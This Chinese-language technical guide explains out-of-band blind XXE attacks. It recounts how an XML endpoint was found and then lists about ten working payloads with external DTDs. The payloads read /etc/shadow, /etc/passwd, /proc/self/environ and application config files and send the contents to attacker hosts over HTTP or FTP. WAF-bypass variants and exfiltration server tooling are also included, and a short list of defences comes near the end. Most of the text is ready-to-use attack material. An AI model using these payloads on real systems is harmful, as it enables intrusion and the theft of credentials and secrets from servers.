利用OOB XXE盲攻击获取文件系统访问权限
字数 1212 2025-08-29 08:32:10
利用OOB XXE盲攻击获取文件系统访问权限 - 详细技术指南
1. XXE攻击概述
XXE (XML External Entity)攻击是一种利用XML解析器处理外部实体时的漏洞,攻击者可以通过构造恶意的XML文档来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)等操作。
2. 发现XXE漏洞的过程
2.1 初始侦察
- 对目标子域进行广泛扫描和目录枚举
- 发现一个处理XML数据的端点
- 通过GET请求观察到响应包含XML SOAP语法
2.2 请求测试
- 发送POST请求时发现响应主体消失,但返回200状态码
- 发送包含XML语法且Content-Type为application/xml的请求
- 观察到响应标签值变为"OK"而非"TestRequestCalled"
- 测试JSON请求确认端点专门处理XML数据
3. OOB (Out-of-Band) XXE盲攻击实施
3.1 基本准备
- 需要搭建VPS托管恶意DTD文件
- 准备FTP服务器接收外泄数据
3.2 攻击流程
- 构造恶意XML文档引用外部DTD
- DTD文件定义实体读取目标文件
- 通过HTTP/FTP协议将文件内容外泄
4. 实用XXE攻击载荷
4.1 基础验证载荷
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
4.2 带外数据提取标准载荷
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>
外部DTD文件内容:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
4.3 .NET环境优化版本
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;%exfil;]>
外部DTD文件内容:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
4.4 Linux系统文件提取
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;%param3;%exfil;]>
外部DTD文件内容:
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
4.5 Java环境错误利用
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;%param3;%exfil;]>
<r></r>
4.6 CDATA包装技术
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;]>
<root>&all;</root>
外部DTD文件内容:
<!ENTITY all "%start;%stuff;%end;">
4.7 文件未找到异常利用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part">
%one;%two;%four;]>
外部DTD文件内容:
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
4.8 FTP协议提取
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;%c;]>
<a>&rrr;</a>
外部DTD文件内容:
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
4.9 SOAP环境中的XXE
<soap:Body><foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx></xxx>]]>
</foo></soap:Body>
4.10 WAF绕过技术
<!DOCTYPE :. SYSTEM "http://"
<!DOCTYPE :_-_: SYSTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
5. 技术要点总结
-
盲XXE检测:即使没有直接响应,通过观察服务器行为变化可以判断XXE存在
-
协议选择:
- HTTP协议适合小量数据传输
- FTP协议适合大数据量传输
- 不同环境对协议支持不同,需测试
-
环境适配:
- .NET环境需要特殊处理
- Java环境可利用错误信息
- 不同操作系统文件路径差异
-
数据外泄技巧:
- 直接包含在URL参数中
- 通过FTP传输
- 利用CDATA包装特殊字符
- 通过错误信息泄露
-
规避技术:
- 使用非常规DOCTYPE语法绕过WAF
- 编码特殊字符
- 利用CDATA区段
6. 防御建议
- 禁用XML外部实体处理
- 使用安全的XML解析器配置
- 实施严格的输入验证
- 部署WAF规则检测XXE攻击
- 限制服务器出站连接
7. 工具资源
-
XXE FTP服务器脚本:
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb -
测试用VPS搭建指南:
- 推荐使用DigitalOcean/Linode等云服务
- 需要开放HTTP/FTP端口
-
监控工具:
- 使用tcpdump或Wireshark监控外泄数据
- 配置日志记录异常请求